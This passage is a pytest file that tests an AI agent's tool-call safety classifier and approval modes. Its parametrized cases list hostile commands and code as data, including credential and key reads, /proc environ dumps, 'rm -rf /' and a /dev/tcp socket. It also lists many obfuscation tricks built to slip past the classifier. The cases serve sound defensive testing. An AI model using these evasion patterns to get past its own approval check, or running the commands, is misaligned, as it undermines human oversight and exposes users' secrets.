# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0

"""Tests for permission_mode ("Ask for approval" / "Approve for me" /
"Off" / "Full access") permission levels.

Covers the auto-mode safety classifier in tools.py and the loop-level
behavior of run_safetensors_tool_loop: in "auto" mode only calls detected
as potentially unsafe pause for confirmation, in "full" mode nothing
pauses and the sandbox is dropped, and unset/unknown modes behave as
"ask" (every call pauses when confirm_tool_calls is on).
"""

import os
import uuid

import pytest

from core.inference.mcp_client import MCP_TOOL_PREFIX
from core.inference.safetensors_agentic import run_safetensors_tool_loop
from core.inference.tools import is_potentially_unsafe_tool_call
from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
from state import tool_approvals
from state.tool_approvals import resolve_tool_decision

_SESSION = "perm-mode-session"


@pytest.fixture(autouse = True)
def _isolate_permission_mode_globals():
    """Keep the loop-driving tests hermetic against process-global state that
    leaks across the full backend suite.

    ``run_safetensors_tool_loop`` reads a process-global approval registry
    (``state.tool_approvals._pending``) and honors ``os.environ``. Other test
    modules mutate both (module-level ``os.environ[...] = ...`` runs at import
    time; abandoned approvals can survive a test). A stale entry keyed by the
    shared session id, or a leaked env var, can make the loop deny or skip a
    call that these tests expect to run, which only surfaces in the full-suite
    ordering on CI (not when the file runs alone). Snapshot and restore both,
    and hand every ``_drive`` call a unique session, so each test starts clean.
    """
    env_snapshot = dict(os.environ)
    with tool_approvals._lock:
        pending_snapshot = dict(tool_approvals._pending)
        tool_approvals._pending.clear()
    try:
        yield
    finally:
        with tool_approvals._lock:
            tool_approvals._pending.clear()
            tool_approvals._pending.update(pending_snapshot)
        os.environ.clear()
        os.environ.update(env_snapshot)


@pytest.fixture(autouse = True)
def _clear_pending():
    with tool_approvals._lock:
        tool_approvals._pending.clear()
    yield
    with tool_approvals._lock:
        tool_approvals._pending.clear()


# ── classifier ──────────────────────────────────────────────────────


@pytest.mark.parametrize(
    ("command", "unsafe"),
    [
        ("ls -la", False),
        ("cat foo.txt | grep hello", False),
        ("find . -name '*.py' | head -5", False),
        ("env FOO=1 grep -r pattern .", False),
        ("echo hi > out.txt", True),  # write redirection
        ("rm -rf /", True),
        ("ls; rm x", True),  # unsafe after separator
        ("xargs rm", True),  # xargs is not a safe wrapper: it injects stdin args
        ("xargs sort", True),  # forwards to sort with unscanned stdin arguments
        ("echo -o out x | xargs sort", True),  # hidden write via stdin-supplied args
        ("find . -name '*.py' | xargs grep foo", True),  # xargs run stays gated
        ("ionice -c 3 -p 1234", True),  # -p changes a running process's IO priority
        ("ionice -p 1", True),
        ("ionice -P 999", True),  # -P targets a process group
        ("ionice -u 1000", True),  # -u targets a user's processes
        ("ionice -c3 -p1234", True),  # attached short flags still target a process
        ("ionice -c 3 ls", False),  # a real wrapped command stays safe
        ("ionice -n 5 grep x .", False),  # class-data flag then wrapped read stays safe
        ("sudo ls", True),
        ("git push origin main", True),
        ("pip install requests", True),
        ("echo `whoami`", True),  # substitution fails closed
        ("python -c 'print(1)'", True),  # arbitrary code
        ("find . -exec rm {} ;", True),  # find can execute
        ("find . -delete", True),  # find can delete
        ("fd -x rm", True),  # fd runs a command per result
        ("fd --exec-batch rm", True),
        ("fd -e py pattern", False),  # plain fd search stays read only
        ("sort -o out.txt in.txt", True),  # -o writes a file
        ("sort --output=out in", True),
        ("sort --compress-program=sh big.txt", True),  # runs an external program
        ("sort -T ./scratch large.txt", True),  # -T writes temporaries to a chosen dir
        ("sort --temporary-directory=./s big.txt", True),
        ("sort in.txt", False),  # plain sort stays read only
        ("rg --pre sh needle f.sh", True),  # rg preprocessor runs a command
        ("rg --pre=/tmp/x needle .", True),
        ("rg --hostname-bin /tmp/x foo .", True),
        ("rg --pre-glob '*.txt' needle .", False),  # glob filter stays read only
        ("rg needle .", False),  # plain rg stays read only
        ("/tmp/cat secrets", True),  # path-qualified command is an arbitrary binary
        ("./ls -la", True),
        ("env /tmp/cat x", True),  # path-qualified target after a wrapper
        ("tree -o out.txt", True),  # -o writes a file
        ("time -o /tmp/r ls", True),  # GNU time -o truncates a file
        ("time --output=/tmp/r ls", True),  # GNU time long output flag
        ("command time -o/tmp/result cat /dev/null", True),  # attached, behind command
        ("time -a log.txt ls", True),  # GNU time append flag
        ("time ls", False),  # plain time wrapper stays safe
        ("time -p ls", False),  # POSIX time -p (no file) stays safe
        ("xxd -r dump.hex out.bin", True),  # -r can write
        ("xxd input.bin dump.hex", True),  # 2nd positional is the outfile
        ("xxd -c 16 in.bin out.hex", True),  # outfile past a numeric flag value
        ("xxd input.bin", False),  # single positional reads to stdout
        ("xxd -c 16 input.bin", False),  # flag value is not a second file
        ("xxd 42 99", True),  # digit-named outfile positional still counts
        ("xxd -s 0x10 input.bin", False),  # seek value is not a second file
        ("awk '{print}' file", True),  # awk can system()/write
        ("grep -o x file", False),  # grep -o is stdout only
        ("ls\nrm -rf x", True),  # newline separates commands
        ("ls\r\nrm x", True),  # CRLF separates commands
        ("ls\n\n\nrm x", True),  # blank lines collapse to one separator
        ("ls\npwd", False),  # multi-line stays safe when every line is
        ("ls\n", False),
        ("sort -o/tmp/out /tmp/in", True),  # attached short output flag
        ("sort -uo out.txt in.txt", True),  # -o bundled in a short cluster
        ("sort -bo out in", True),
        ("sort -u in.txt", False),  # cluster without a write flag stays safe
        ("find . \\( -name x -delete \\)", True),  # -delete inside a group
        ("cat ../../.ssh/id_rsa", True),  # parent traversal read
        ("cat ~/.aws/credentials", True),  # credential path
        ("cat /home/a/.azure/msal_token_cache.json", True),  # azure token store
        ("cat ~/.config/gh/hosts.yml", True),  # gh cli credentials
        ("cat ~/.config/app/settings.json", False),  # ordinary config stays safe
        ("cat /home/alice/.cache/huggingface/token", True),  # HF login token
        ("cat ~/.cache/huggingface/stored_tokens", True),  # HF multi-token store
        ("cat /home/alice/.huggingface/token", True),  # legacy HF token location
        ("cat /home/alice/myhuggingface/token", False),  # unrelated dir stays safe
        (
            "cat /home/alice/.cache/huggingface/hub/models--x/config.json",
            False,
        ),  # HF model cache is not a credential
        ("cat /run/secrets/hf_token", True),  # docker secret mount
        ("cat /var/run/secrets/kubernetes.io/serviceaccount/token", True),  # k8s mount
        ("cat /run/app.pid", False),  # ordinary /run file stays safe
        ("cat /etc/passwd", True),  # sensitive system file
        ("cat /proc/self/environ", True),  # procfs env dump
        ("cat /proc/1/cmdline", True),
        ("head /proc/self/maps", True),
        ("cat /proc/self/fd/3", True),  # procfs fd symlink to an open file
        ("cat /proc/1234/task/1234/fd/3", True),  # per-thread fd symlink
        ("LD_PRELOAD=/tmp/hook.so ls", True),  # code-loading env prefix
        ("PATH=. ls", True),  # command-lookup env prefix
        ("IFS=x ls", True),
        ("FOO=1 grep -r x .", False),  # benign env prefix stays safe
        ("ps auxe", True),  # ps can dump process env; not on the safe list
        ("ps aux", True),
        ("cd /; cat etc/passwd", True),  # cd escapes the workdir
        ("cd subdir; ls", True),  # cd is no longer auto-approved
        ("env --chdir=/ cat etc/passwd", True),  # env -C escapes the workdir
        ("env -S 'sh -c id' true", True),  # env --split-string builds a command
        ("env FOO=1 grep -r x .", False),  # benign env wrapper stays safe
        ("cat /etc//passwd", True),  # redundant slashes resolve to /etc/passwd
        ("cat /etc/./passwd", True),
        ("p=/etc; cat $p/passwd", True),  # path split across an assignment
        ("d=/etc; cat ${d}/shadow", True),
        ("FOO=1 echo $FOO", False),  # benign variable expansion stays safe
        ("cat /proc/$PPID/enviro''n", True),  # quote-split procfs read
        ("cat /proc/self/'environ'", True),
        ('p="/proc/$PPID"; cat $p/environ', True),  # quoted+nested var procfs
        ("LESSOPEN='|touch x; cat %s' less f.txt", True),  # less input preprocessor
        ("less file.txt", True),  # less pager escapes (+cmd, !shell, -o) so it asks
        ("less '+!touch pwned' notes.txt", True),  # less +command runs a shell command
        ("more file.txt", True),  # more shares the !shell pager escape
        ("cat /proc/cpuinfo", False),  # non-sensitive procfs read stays safe
        ("cat /e??/passwd", True),  # glob expands to /etc/passwd
        ("cat /e[t]c/passwd", True),  # bracket class hides etc
        ("head /etc/shado?", True),
        ("cat /et\\c/passwd", True),  # backslash escape hides /etc/passwd
        ("cat /etc/pass\\wd", True),
        ("ls *.py", False),  # benign glob stays safe
        ("head data?.txt", False),
        ("grep -R TOKEN /home", True),  # recursive search escapes the workdir
        ("rg TOKEN /", True),
        ("fd pattern /etc", True),
        ("grep -r foo src/", False),  # sandbox-relative search stays safe
        ("rg TOKEN .", False),
        ("tree /home", True),  # always-recursive walker escapes onto host files
        ("du /", True),  # disk-usage walk of the whole host root
        ("du -sh /home", True),  # summarized host-home walk still recurses
        ("ls -R /home", True),  # ls recurses with -R onto host files
        ("ls -R /etc", True),
        ("ls -laR /", True),  # -R inside a short cluster still recurses
        ("tree .", False),  # cwd walk stays in the sandbox
        ("tree ./project", False),  # relative walk stays safe
        ("du -sh", False),  # du with no path defaults to cwd
        ("du -sh ./build", False),  # relative disk-usage stays safe
        ("ls -R subdir", False),  # relative recursive listing stays safe
        ("ls -la /home", False),  # non-recursive listing of one level stays here
        ("sort --files0-from=list.txt", True),  # reads an indirect file list
        ("sort --files0-from list.txt", True),  # separate-value form
        ("sort -u data.txt", False),  # ordinary sort stays read only
        ("wc --files0-from=list", True),  # wc reads an indirect file list too
        ("wc --files0-from list", True),
        ("du --files0-from=list", True),  # du indirect file list
        ("find -files0-from list", True),  # find primary reading a file list
        ("wc file.txt", False),  # ordinary wc stays read only
        ("wc -l data.txt", False),  # counting flag stays read only
        ("cat logs/app.log", False),  # ordinary relative read
        ("cat /r?n/secrets/hf_token", True),  # glob into a secret mount
        ("cat /var/r?n/secrets/db", True),
        ("cat /root/.s??/id_rsa", True),  # glob into a credential dir
        ("cat ~/.huggingface/tok?n", True),  # glob resolves to a credential basename
        ("cat proj/.netr?", True),  # glob resolves to .netrc anywhere
        ("cat repo/.aws/cred*", True),  # glob resolves to credentials anywhere
        ("cat backup/id_rs?", True),  # glob resolves to id_rsa anywhere
        ("cat .e?v", True),  # glob resolves to a project .env secret
        ("cat proj/.en?", True),  # .env anywhere via a glob
        ("cat notes/dra?t.txt", False),  # benign globbed basename stays safe
        ("cat data/token_counts.tx?", False),  # 'token' prefix basename stays safe
        ("ls /home/*/projects", False),  # benign glob not into a cred dir
        ("grep -R TOKEN ~root", True),  # tilde-user recursive root escapes
        ("grep -R TOKEN ~/logs", True),  # tilde-home recursive root escapes
        ("cat /etc/pass{w,}d", True),  # brace expansion builds /etc/passwd
        ("cat report{1,2}.txt", False),  # benign brace stays safe
        ("cat /e{t,}c/pass?d", True),  # brace-expanded candidate then a glob resolves it
        ("cat /et{c,}/pass?d", True),  # brace + glob in the tail
        ("cat repo/d{1,2}/f?.txt", False),  # benign brace + glob stays safe
        ("cat /etc/pass${x:-wd}", True),  # default param expansion builds path
        ("cat /etc/pass${x:=wd}", True),
        ("echo ${x:-hello}", False),  # benign default param stays safe
        ("cat </e??/passwd", True),  # redirection prefix hides the glob
        ("cat <../../notes", True),  # redirection with no space escapes workdir
        ("cat notes.txt", False),  # ordinary read stays safe
        ("p=/; grep -R TOKEN $p", True),  # recursive root hidden in an assignment
        ("p=/home; grep -R TOKEN $p", True),
        ("p=src; grep -R TOKEN $p", False),  # relative assigned root stays safe
        ("cat /etc/pass{w..w}d", True),  # sequence brace builds /etc/passwd
        ("cat /etc/pass{v..x}d", True),  # sequence brace range spans passwd
        ("cat file{1..3}.txt", False),  # benign sequence brace stays safe
        ("p=passwd; cat /etc/${p:0:6}", True),  # substring expansion builds path
        ("p=hello; cat notes/${p:0:3}", False),  # benign substring stays safe
        ("cat $'/etc/pass\\x77d'", True),  # ANSI-C escape hides /etc/passwd
        ("cat $'notes.txt'", False),  # benign ANSI-C quote stays safe
        ("cat /home/*/.az?re/msal_token_cache.json", True),  # azure token glob
        ("cat /home/*/.config/g?/hosts.yml", True),  # gh config glob
        ("cat /home/*/projects/readme", False),  # benign home glob stays safe
        ("cat /proc/$PPID/task/$PPID/environ", True),  # per-thread proc env alias
        ("cat /proc/cpuinfo", False),  # non-sensitive proc read stays safe
        ("grep -R TOKEN ${root:-/home}", True),  # default-param recursive root
        ("grep -R TOKEN ${root:-src}", False),  # relative default root stays safe
        ("p=passXd; cat /etc/${p/X/w}", True),  # pattern replacement builds path
        ("p=passXd; cat /etc/${p//X/w}", True),  # global pattern replacement
        ("p=hello; cat notes/${p/l/L}", False),  # benign replacement stays safe
        ("p=PASSWD; cat /etc/${p,,}", True),  # case-lower expansion builds path
        ("p=hello; cat notes/${p,,}", False),  # benign case expansion stays safe
        ("f=-delete; find . $f", True),  # find action hidden behind an assignment
        ("g=e??; cat /$g/passwd", True),  # glob assembled through an assignment
        ("g=abc; cat /$g/readme", False),  # benign assigned path stays safe
        ("cat /etc/pass[[:lower:]]d", True),  # POSIX class glob builds /etc/passwd
        ("x=passwd; p=x; cat /etc/${!p}", True),  # indirect expansion builds path
        ("x=notes; p=x; cat /home/${!p}", False),  # benign indirect expansion stays safe
        ("cat </dev/tcp/example.com/80", True),  # bash /dev/tcp opens a socket
        ("cat < /dev/udp/1.2.3.4/53", True),  # bash /dev/udp opens a socket
        ("cat /dev/null", False),  # ordinary /dev file stays safe
        ("cat /etc/ssh/ssh_host_ed25519_key", True),  # ssh host private key read
        ("cat /etc/ssh/sshd_config", True),  # whole /etc/ssh dir is sensitive
        ("cat /etc/hostname", False),  # non-key /etc read stays safe
        ("sort --out=/tmp/o in", True),  # abbreviated --output writes a file
        ("env --ch=/ cat etc/passwd", True),  # abbreviated --chdir escapes workdir
        ("sort --check in", False),  # benign abbreviation-free long flag stays safe
        ("printf -v PATH %s .; ls", True),  # printf -v rewrites PATH then runs ./ls
        ("printf 'hello %s' world", False),  # ordinary printf stays safe
        ("fd --base-directory=/ passwd etc", True),  # fd root move escapes workdir
        ("fd --search-path=/etc passwd", True),  # fd search-path escapes workdir
        ("fd --base-dir=/ passwd etc", True),  # abbreviated fd root flag too
        ("fd passwd", False),  # in-workdir fd search stays safe
        ("uniq input.txt output.txt", True),  # second positional is a written OUTPUT
        ("uniq -f 2 in out", True),  # numeric flag value skipped, two file positionals
        ("uniq input.txt", False),  # single positional reads to stdout, stays safe
        ("uniq 123 out.txt", True),  # digit-named INPUT still leaves out.txt as the 2nd file
        ("uniq 123", False),  # a single digit-named input reads to stdout, stays safe
        ("uniq --skip-fields=2 input.txt", False),  # attached flag value, single file
        ("sort a.txt | uniq -c", False),  # piped uniq with no output file stays safe
        ("hostname new-name", True),  # a positional sets the hostname
        ("hostname -F /etc/hn", True),  # -F/--file sets the hostname from a file
        ("hostname", False),  # bare hostname reads
        ("hostname -f", False),  # -f prints the FQDN, stays read-only
        ("hostname -I", False),  # -I prints IPs, stays read-only
        ("date -s tomorrow", True),  # -s sets the system clock
        ("date --set='2020-01-01'", True),  # --set sets the clock
        ("date 010100002020", True),  # a bare positional is the clock-setting form
        ("date", False),  # bare date reads
        ("date +%Y-%m-%d", False),  # a +FORMAT display token stays read-only
        ("date -u +%s", False),  # -u display flag with a +FORMAT stays safe
        ("date -d tomorrow", False),  # -d STRING only displays the given date
        ("date -d yesterday +%Y", False),  # -d value skipped, +FORMAT display stays safe
        ("date -r file.txt", False),  # -r FILE displays a file's mtime, read-only
        ("file -C -m mymagic", True),  # file -C compiles a magic database (writes .mgc)
        ("file --compile -m mymagic", True),  # long form of the compile flag
        ("file report.txt", False),  # plain file identification stays read-only
        ("sha256sum -c manifest", True),  # -c reads an arbitrary checklist of paths
        ("md5sum --check list", True),  # --check reads the listed files
        ("shasum -c manifest", True),  # shasum verify mode reads the checklist
        ("sha256sum data.bin", False),  # hashing a named file stays read-only
        ("md5sum file.txt", False),  # plain digest of a file stays read-only
    ],
)
def test_terminal_classifier(command, unsafe):
    assert is_potentially_unsafe_tool_call("terminal", {"command": command}) is unsafe


@pytest.mark.parametrize(
    ("code", "unsafe"),
    [
        ("print(1+1)", False),
        ("import math\nprint(math.pi)", False),
        ("print(open('x.txt').read())", False),  # read-mode open
        ("open('x.txt', 'w').write('hi')", True),
        ("import shutil; shutil.rmtree('x')", True),
        ("import os; os.remove('x')", True),
        ("import requests", True),  # network module
        ("exec('print(1)')", True),
        ("from os import remove\nremove('x')", True),  # from-import binding
        ("from os import remove as rm\nrm('x')", True),
        ("from os import *", True),  # star import hides anything
        ("import os\nprint(os.getcwd())", False),  # read-only os use
        ("f = os.remove\nf('x')", True),  # indirect reference
        ("import os\nrm = os.remove\nrm('x')", True),  # alias assignment
        ("from pathlib import Path\nPath('x').open('w')", True),  # Path.open mode
        ("from pathlib import Path\nprint(Path('x').open().read())", False),
        ("import zipfile\nprint(zipfile.ZipFile('a').open('n.txt'))", False),
        ("print(open('../../.ssh/id_rsa').read())", True),  # traversal read
        ("print(open('creds.env').read())", True),  # credential file
        ("import os\nos.open('data.txt', os.O_CREAT)", True),  # os.open writes fd
        ("import tempfile\ntempfile.mkstemp()", True),  # tempfile side effects
        ("getattr(os, 'remove')('x')", True),  # dynamic call target
        ("import os as o\no.open('out.txt', o.O_CREAT)", True),  # os.open via alias
        ("from os import open as o, O_CREAT\no('out', O_CREAT)", True),  # os.open bare name
        ("from pathlib import Path\nPath('l').symlink_to('t')", True),  # pathlib link
        ("import importlib\nimportlib.import_module('subprocess')", True),  # dynamic import
        ("import os\nos.mkfifo('p')", True),  # node creation
        ("import os\nos.utime('x', None)", True),  # metadata mutation
        ("f = open\nf('x', 'w')", True),  # builtin open aliased to a name
        ("from builtins import open as w\nw('x', 'w')", True),
        ("globals()['open']('x', 'w')", True),  # dynamic open lookup
        ("import pickle\npickle.loads(b'')", True),  # code exec on load
        ("import io\nio.FileIO('out', 'w')", True),  # raw write handle
        (
            "import zipfile\nprint(zipfile.ZipFile('a').open('n.txt', 'r'))",
            False,
        ),  # explicit read mode
        ("f, _ = (open, print)\nf('out', 'w')", True),  # destructured open alias
        ("import builtins\nbuiltins.exec('x=1')", True),  # attribute exec
        ("import builtins as b\nb.eval('1')", True),
        ("import re\nre.compile('x')", False),  # re.compile is not eval/exec
        ("import os\nopen(os.path.join('/etc', 'passwd')).read()", True),  # composed path
        ("open('/etc' + '/passwd').read()", True),  # concatenated path
        ("import zipfile\nzipfile.ZipFile('o.zip', 'w').writestr('x', 'y')", True),  # zip write
        ("import zipfile\nzipfile.ZipFile('o.zip', mode='a')", True),
        ("import zipfile\nzipfile.ZipFile('a.zip').read('n')", False),  # zip read stays safe
        ("import os\nopen(f'/proc/{os.getppid()}/environ').read()", True),  # f-string procfs
        ("import os\nos.chdir('/')\nprint(open('etc/passwd').read())", True),  # chdir escape
        (
            "from pathlib import Path\nprint((Path('/etc') / 'passwd').read_text())",
            True,
        ),  # pathlib /
        (
            "from pathlib import Path\nprint((Path('a') / 'b.txt').read_text())",
            False,
        ),  # relative stays safe
        ("import runpy\nrunpy.run_path('s.py')", True),  # runpy runs code
        ("from runpy import run_module\nrun_module('m')", True),
        ("import os\nrm = getattr(os, 'remove')\nrm('f')", True),  # getattr alias call
        ("x = getattr(obj, 'name')\nprint(x)", False),  # getattr result not called
        ("__builtins__.exec('x=1')", True),  # __builtins__ dynamic exec
        ("f = globals()['open']\nf('out', 'w')", True),  # subscript alias write
        (
            "f = __builtins__.__dict__.get('open')\nf('out', 'w').write('x')",
            True,
        ),  # namespace .get lookup returns open
        ("g = globals().get('open')\ng('out', 'w')", True),  # globals().get alias
        ("e = vars(__builtins__).get('eval')\ne('1')", True),  # vars().get returns eval
        ("d = {}\nd.get('x')", False),  # ordinary dict .get stays safe
        (
            "import os\nos.environ.get('PATH')",
            False,
        ),  # os.environ.get is not a dynamic namespace
        (
            "box.f = open\nbox.f('out.txt', 'w').write('x')",
            True,
        ),  # open bound onto an attribute then called
        ("box.f = len\nbox.f([])", False),  # a benign attribute-bound callable stays safe
        (
            "open.__call__('out.txt', 'w').write('x')",
            True,
        ),  # open invoked via .__call__ still writes
        ("print.__call__('x')", False),  # a benign .__call__ stays safe
        ("import builtins\nf = builtins.open\nf('out', 'w')", True),  # attribute alias write
        ("open('out', **{'mode': 'w'}).write('x')", True),  # kwargs splat mode
        ("name = 'passwd'\nopen(f'/etc/{name}').read()", True),  # dynamic /etc segment
        ("import os\nopen(os.path.join('/etc', name)).read()", True),  # composed dynamic seg
        ("open(f'/tmp/{name}.txt').read()", False),  # dynamic seg under /tmp stays safe
        ("import pathlib\n(pathlib.Path('/etc') / name).read_text()", True),  # qualified pathlib
        ("import pathlib\n(pathlib.Path('data') / name).read_text()", False),  # relative stays safe
        ("f: object = open\nf('out', 'w').write('x')", True),  # annotated open alias
        ("import urllib3\nurllib3.PoolManager().request('GET', 'http://x')", True),  # network
        ("import dbm\ndbm.open('cache', 'c')", True),  # dbm create flag writes
        ("import dbm\ndbm.open('cache')", True),  # dbm import itself signals writes
        (
            "import sqlite3\nsqlite3.connect('results.db').execute('create table t(x)')",
            True,
        ),  # sqlite3 db write
        ("import sqlite3\nsqlite3.connect('data.db')", True),  # sqlite3 connect creates the file
        ("import posix as p\np.open('out', 64)", True),  # posix.open via module alias
        ("import os as o\nprint(o.getcwd())", False),  # read-only os-alias use stays safe
        ("model.save_pretrained('out')", True),  # transformers/peft persistence helper
        (
            "from safetensors.torch import save_file\nsave_file(sd, 'o.safetensors')",
            True,
        ),  # bare imported save_file writer
        ("st.save_file(sd, 'o.safetensors')", True),  # safetensors save_file method
        ("print(model.state_dict())", False),  # non-persisting call stays safe
        (
            "from pathlib import Path\nopen(next(Path('/etc').glob('passw?'))).read()",
            True,
        ),  # pathlib glob receiver+pattern resolves to /etc/passwd
        (
            "from pathlib import Path\nfor p in Path('/etc').iterdir():\n    pass",
            True,
        ),  # enumerating an absolute system dir
        ("import os\nos.scandir('/etc')", True),  # os.scandir over a sensitive root
        ("import os\nos.listdir('/home')", True),  # os.listdir over a host dir
        ("import os\nlist(os.walk('/'))", True),  # os.walk over the filesystem root
        (
            "from pathlib import Path\nlist(Path('.').iterdir())",
            False,
        ),  # relative dir enumeration stays safe
        ("import os\nos.scandir('data')", False),  # relative scandir stays safe
        ("import os\nos.listdir('subdir')", False),  # relative listdir stays safe
        (
            "from pathlib import Path\nfor f in Path('data').glob('*.py'):\n    print(f)",
            False,
        ),  # benign pathlib glob stays safe
        (
            "from pathlib import Path\nlist(Path('/home').glob('*'))",
            True,
        ),  # globbing an absolute root enumerates host filenames
        (
            "from pathlib import Path\nlist(Path('/etc').rglob('*'))",
            True,
        ),  # recursive glob over a system dir
        ("import glob\nglob.glob('/home/*')", True),  # glob.glob pattern rooted absolute
        (
            "from pathlib import Path\nlist(Path('~').expanduser().glob('*'))",
            True,
        ),  # glob over the home directory
        ("import glob\nglob.glob('src/*.py')", False),  # relative glob pattern stays safe
        (
            "import os\nbase = os.path.abspath('/etc')\nopen(base + '/passwd').read()",
            True,
        ),  # abspath keeps the sensitive root
        (
            "from pathlib import Path\n(Path('/etc').resolve() / 'passwd').read_text()",
            True,
        ),  # Path.resolve keeps the sensitive root
        (
            "import os\nbase = os.path.abspath('data')\nopen(base + '/x.txt').read()",
            False,
        ),  # benign normalizer stays safe
        ("import torch\ntorch.load('model.pt')", True),  # pickle-backed loader
        ("import joblib\njoblib.load('x.pkl')", True),  # joblib loader
        ("import pandas as pd\npd.read_pickle('x.pkl')", True),  # pandas pickle reader
        ("import json\nprint(json.load(open('x.json')))", False),  # json.load stays safe
        (
            "import types\nc = compile('x=1', '', 'exec')\nf = types.FunctionType(c, globals())\nf()",
            True,
        ),  # compiled code wrapped into a callable
        ("cfg = d['k']\nprint(cfg)", False),  # subscript result not called stays safe
        ("open('/etc/{}'.format('passwd')).read()", True),  # str.format sensitive path
        ("open('/etc/{}'.format(name)).read()", True),  # format dynamic /etc segment
        ("print('/tmp/{}'.format('a'))", False),  # format under /tmp stays safe
        ("import numpy\nnumpy.save('x.npy', a)", True),  # numpy writer method
        ("plt.savefig('f.png')", True),  # matplotlib writer method
        ("df.to_csv('out.csv')", True),  # pandas writer method
        ("img.save('o.png')", True),  # PIL writer method
        ("import json\njson.dump(obj, f)", True),  # serialization writer
        ("df.to_string()", False),  # non-persisting render stays safe
        ("model.forward(x)", False),  # ordinary method call stays safe
        ("open(''.join(['/etc', '/passwd'])).read()", True),  # str.join sensitive path
        ("open('/'.join(['/etc', 'passwd'])).read()", True),  # separator join
        ("print(''.join(['a', 'b']))", False),  # benign join stays safe
        ("from builtins import eval as e\ne('1')", True),  # aliased builtin eval
        ("import builtins\nx = builtins.exec\nx('a=1')", True),  # attr-aliased exec
        ("from builtins import __import__ as imp\nimp('os')", True),  # aliased __import__
        ("from mymod import evaluate as e\ne(1)", False),  # unrelated alias stays safe
        ("base = '/etc'\nopen(base + '/passwd').read()", True),  # literal-var path
        ("d = '/etc'\nopen(f'{d}/passwd').read()", True),  # literal var in f-string
        ("base = 'data'\nopen(base + '/x.txt').read()", False),  # benign literal var
        ("import numpy as np\nnp.array([1]).tofile('out.bin')", True),  # numpy tofile
        ("arr.tolist()", False),  # non-persisting numpy call stays safe
        (
            "from pathlib import Path\np = Path('/etc')\n(p / 'passwd').read_text()",
            True,
        ),  # pathlib path alias reused
        (
            "from pathlib import Path\np = Path('data')\n(p / 'x.txt').read_text()",
            False,
        ),  # relative path alias stays safe
        ("open('%s/%s' % ('/etc', 'passwd')).read()", True),  # percent-format path
        ("open('/etc/%s' % name).read()", True),  # percent-format dynamic segment
        ("open('%s/%s' % ('data', 'x.txt')).read()", False),  # benign percent-format
        ("open('/etc/%(f)s' % {'f': 'passwd'}).read()", True),  # mapping-style percent path
        ("open('/etc/%(f)s' % {'f': name}).read()", True),  # mapping-style dynamic segment
        ("open('/etc/%(f)s' % mapping).read()", True),  # non-literal mapping fails closed
        ("open('data/%(f)s' % {'f': 'x.txt'}).read()", False),  # benign mapping-style stays safe
        ("import logging\nlogging.FileHandler('out.log', mode='w')", True),  # log file writer
        ("import logging\nlogging.FileHandler('out.log')", True),  # default append still writes
        ("from logging import FileHandler\nFileHandler('x.log')", True),  # bare-name file handler
        (
            "import logging.handlers\nlogging.handlers.RotatingFileHandler('x.log')",
            True,
        ),  # rotating log file writer
        ("import logging\nlogging.getLogger('x').info('hi')", False),  # logging read stays safe
        ("from numpy import save\ns = save\ns('out.npy', arr)", True),  # writer aliased to a name
        ("from zipfile import ZipFile\nz = ZipFile\nz('a.zip', 'w')", True),  # archive ctor aliased
        ("from numpy import save\ns, _ = (save, 1)\ns('o.npy', a)", True),  # writer destructured
        ("x = len\nx('hi')", False),  # a benign builtin alias stays safe
        ("import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", True),  # asyncio spawn
        ("import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", True),  # asyncio spawn
        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
        ("import imaplib\nimaplib.IMAP4('host')", True),  # stdlib mail client opens a connection
        ("import poplib\npoplib.POP3('host')", True),  # stdlib mail client
        ("import xmlrpc.client\nxmlrpc.client.ServerProxy('http://x')", True),  # rpc client
        ("import math\nmath.sqrt(2)", False),  # benign stdlib import stays safe
        ("def f(o=open):\n    o('out', 'w').write('x')\nf()", True),  # open captured in a default
        ("g = lambda o=open: o('out', 'w')\ng()", True),  # open captured in a lambda default
        ("def f(o=len):\n    return o('x')\nf()", False),  # a benign default stays safe
        ("import numpy as np\ns = np.save\ns('out.npy', arr)", True),  # attribute writer aliased
        ("from pathlib import Path\np = Path('out').open\np('w')", True),  # bound .open aliased
        ("import zipfile\nz = zipfile.ZipFile\nz('a.zip', 'w')", True),  # attribute archive ctor
        ("import numpy as np\nx = np.mean\nx(a)", False),  # a benign attribute alias stays safe
        (
            "import numpy as np\nnp.memmap('o', dtype='u1', mode='w+', shape=(1,))",
            True,
        ),  # memmap w+
        (
            "import pandas as pd\npd.ExcelWriter('o.xlsx')",
            True,
        ),  # pandas ExcelWriter creates a file
        ("import pandas as pd\npd.HDFStore('o.h5')", True),  # pandas HDFStore creates a file
        ("import asyncio\nasyncio.open_connection('h', 80)", True),  # asyncio outbound connection
        (
            "import asyncio\nl = asyncio.get_event_loop()\nl.create_server(P, 'h', 80)",
            True,
        ),  # listener
        ("import asyncio\nasyncio.start_server(cb, 'h', 80)", True),  # asyncio listener
        (
            "import asyncio\nasyncio.open_unix_connection('/tmp/s')",
            True,
        ),  # asyncio unix connect
        (
            "import asyncio\nl = asyncio.get_event_loop()\nl.create_datagram_endpoint(f)",
            True,
        ),  # UDP socket
        (
            "import asyncio\nl = asyncio.get_event_loop()\nl.sock_connect(s, ('h', 80))",
            True,
        ),  # raw socket connect
        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
        ("import os\nos.setxattr('f', 'user.x', b'v')", True),  # xattr write
        ("import os\nos.removexattr('f', 'user.x')", True),  # xattr remove
        ("import gzip\ngzip.GzipFile('o.gz', 'w')", True),  # gzip writer
        ("import bz2\nbz2.BZ2File('o.bz2', 'w')", True),  # bz2 writer
        ("import lzma\nlzma.LZMAFile('o.xz', mode='w')", True),  # lzma writer (mode kw)
        (
            "from gzip import GzipFile\nGzipFile('o.gz', 'wb')",
            True,
        ),  # bare-imported gzip writer
        ("import gzip\ngzip.GzipFile('o.gz', 'r')", False),  # gzip read stays safe
        ("import gzip\ngzip.GzipFile('o.gz')", False),  # gzip default (read) stays safe
        ("df.to_xml('out.xml')", True),  # pandas to_xml writer
        ("df.to_html('report.html')", True),  # pandas to_html writer
        ("df.to_markdown('out.md')", True),  # pandas to_markdown writer
        ("df.to_latex('out.tex')", True),  # pandas to_latex writer
        ("df.to_dict()", False),  # non-persisting pandas export stays safe
        ("x = df.to_string()", False),  # to_string renders to memory, stays safe
        (
